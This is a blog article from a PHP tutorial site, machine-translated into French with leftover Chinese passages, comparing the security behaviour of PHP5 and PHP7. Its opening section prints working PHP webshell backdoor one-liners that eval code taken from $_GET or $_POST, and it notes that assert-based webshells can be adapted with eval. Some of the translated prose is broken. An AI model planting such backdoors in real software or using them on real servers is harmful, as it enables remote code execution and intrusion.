Différences de sécurité entre PHP7 et PHP5 (exemple)

藏色散人
Libérer: 2023-04-05 17:14:02
avant
4892 Les gens l'ont consulté

Modification de fonction

preg_replace() ne prend plus en charge le modificateur /e

<?php preg_replace("/.*/e",$_GET["h"],"."); ?>
Copier après la connexion

Porte dérobée qui utilise le modificateur e pour exécuter code Tout le monde l'a beaucoup utilisé. Veuillez consulter cette description officielle pour plus de détails :

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
Copier après la connexion

Malheureusement, le modificateur e n'est plus pris en charge dans PHP7 et supérieur, et le responsable nous a donné une nouvelle fonction preg_replace_callback :

Manuel recommandé : Manuel des nouvelles fonctionnalités PHP7

Ici, nous pouvons l'utiliser comme porte dérobée avec un léger changement :

<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>
Copier après la connexion

Différences de sécurité entre PHP7 et PHP5 (exemple)

create_function() est abandonné

<?php $func =create_function(&#39;&#39;,$_POST[&#39;cmd&#39;]);$func(); ?>
Copier après la connexion

Il y a une fonction de moins qui peut être utilisée comme porte dérobée. c'est Ceci est réalisé en exécutant eval. Dispensable.

Tous les membres de la série mysql_* ont été supprimés

Si vous souhaitez utiliser l'ancienne version des fonctions de la série mysql_* sur PHP7, vous devez installer des ceux-là vous-même. Le site officiel n'est pas ici Oui, la recommandation officielle est maintenant mysqli ou pdo_mysql. Cela annonce-t-il une réduction significative des vulnérabilités d'injection SQL dans PHP à l'avenir ~

我已经很久没在目标站上挖到过sql注入了,全都是预编译!
Copier après la connexion

unserialize() ajoute un paramètre de liste blanche facultatif

$data = unserialize($serializedObj1 , ["allowed_classes" => true]);
$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
Copier après la connexion

En fait , il s'agit d'une liste blanche. Si le nom de la classe dans les données désérialisées ne figure pas dans cette liste blanche, une erreur sera signalée.

Différences de sécurité entre PHP7 et PHP5 (exemple)

Rapports d'erreurs comme celui-ci !

peut être un nom de classe ou une donnée booléenne. S'il est FALSE, tous les objets seront convertis en objets __PHP_Incomplete_Class. VRAI est illimité. Vous pouvez également transmettre un nom de classe pour implémenter une liste blanche.

还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。
Copier après la connexion

assert() ne peut plus exécuter de code par défaut

C'est la raison pour laquelle de nombreux chevaux ne peuvent pas être utilisés. Trop de chevaux utilisent assert() pour. exécutez le code, cette mise à jour efface essentiellement le tout. Dans des circonstances normales, remplacez-le par eval et il peut s'exécuter normalement ~

Modification de la syntaxe

foreach. ne modifie plus le pointeur de tableau interne

<?php $a = array(&#39;1&#39;,&#39;2&#39;,&#39;3&#39;); foreach ($a as $k=>&$n){ echo "";
}
print_r($a); foreach ($a as $k=>$n){ echo "";
}
print_r($a);
Copier après la connexion

Un code comme celui-ci dans php5 a le résultat d'exécution suivant :

Différences de sécurité entre PHP7 et PHP5 (exemple)

à cause du tableau La référence $value du dernier élément sera toujours conservée après la boucle foreach. Lors de la deuxième boucle, le pointeur précédent est en fait attribué en continu. Lors d'un parcours par valeur dans php7, la valeur de l'opération est une copie du tableau et n'affectera plus les opérations ultérieures.

Ce changement affecte certains trous cms qui ne sont pas utilisables sur PHP7... Vous savez de quel trou je fais référence.

这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
Copier après la connexion

Le taux de tolérance aux pannes des caractères octaux est réduit

Dans la version php5, si un caractère octal contient des chiffres invalides, les chiffres invalides seront tronqués silencieusement .

<?php echo octdec( &#39;012999999999999&#39; ) . "\n"; echo octdec( &#39;012&#39; ) . "\n"; if (octdec( &#39;012999999999999&#39; )==octdec( &#39;012&#39; )){ echo ": )". "\n";
}
Copier après la connexion

Par exemple, le résultat de l'exécution de ce code dans php5 est le suivant :

Différences de sécurité entre PHP7 et PHP5 (exemple)

Mais cela déclenchera un erreur d'analyse dans php7.

这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
Copier après la connexion

Les chaînes hexadécimales ne sont plus considérées comme des nombres

Une fois ce changement effectué, il y aura beaucoup moins de routines CTF à l'avenir~

De nombreuses opérations sympas ne peuvent plus être utilisées~

Il n'y a rien à dire à ce sujet, tout le monde le sait.

<?php var_dump("0x123" == "291");
var_dump(is_numeric("0x123"));
var_dump("0xe" + "0x1");
var_dump(substr("foo", "0x1")); ?>
Copier après la connexion

Les résultats de l'exécution du code ci-dessus en PHP5 sont les suivants :

Différences de sécurité entre PHP7 et PHP5 (exemple)

Les résultats de l'exécution PHP7 sont les suivants :

Différences de sécurité entre PHP7 et PHP5 (exemple)

你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。
Copier après la connexion

Balises PHP ASP et script supprimées

Différences de sécurité entre PHP7 et PHP5 (exemple)

Maintenant, seules les balises < ?php ?>

字面意思,影响其实不是很大(只是以后骚套路会少一点)。
Copier après la connexion

Troncation de conversion de type nombre à virgule flottante surdimensionnée

Lors de la conversion d'un nombre à virgule flottante en un entier, si la valeur à virgule flottante est trop grande, elle ne peut pas être exprimé sous forme d'entier Ensuite, dans la version PHP5, la conversion tronquera directement l'entier et ne provoquera pas d'erreur. En PHP7, une erreur sera signalée.

CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。
Copier après la connexion

Divers

exec(), system() passthru()函数对 NULL 增加了保护.
list()不再能解开字符串string变量
$HTTP_RAW_POST_DATA 被移除
__autoload() 方法被废弃
parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。
统一不同平台下的整型长度
session_start() 可以加入一个数组覆盖php.ini的配置
Copier après la connexion
相关文章推荐:
1.php7和php5有什么不同之处?php5与php7之间的对比         
2.PHP5.5至PHP7.2 新特性整理
3.php7的垃圾回收和php5有什么区别
相关视频推荐:
1.独孤九贱(4)_PHP视频教程

相关推荐:《PHP教程

本篇文章就是关于PHP7和PHP5在安全上的区别介绍,希望对需要的朋友有所帮助!

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:52bug.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal
À propos de nous Clause de non-responsabilité Sitemap
Site Web PHP chinois:Formation PHP en ligne sur le bien-être public,Aidez les apprenants PHP à grandir rapidement!